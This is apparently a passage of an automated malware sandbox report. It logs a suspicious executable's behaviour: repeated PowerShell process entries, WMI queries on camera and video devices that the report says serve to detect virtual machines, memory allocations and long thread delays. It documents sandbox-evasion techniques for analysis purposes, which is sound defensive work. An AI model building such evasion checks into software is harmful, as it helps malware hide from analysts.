Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Memory allocated: 1A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Memory allocated: 1B520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\uAsLgsGzSk.exe	Memory allocated: FB0000 memory reserve \| memory write watch
Source: C:\Recovery\uAsLgsGzSk.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch
Source: C:\Recovery\uAsLgsGzSk.exe	Memory allocated: 2E70000 memory reserve \| memory write watch
Source: C:\Recovery\uAsLgsGzSk.exe	Memory allocated: 1B0D0000 memory reserve \| memory write watch
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Memory allocated: 2E20000 memory reserve \| memory write watch
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Memory allocated: 1B010000 memory reserve \| memory write watch

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 600000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 599891
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 599766
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 598903
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 598266
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 597516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596985
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596782
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596422
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596266
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596032
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595844
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595593
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595369
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595078
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594891
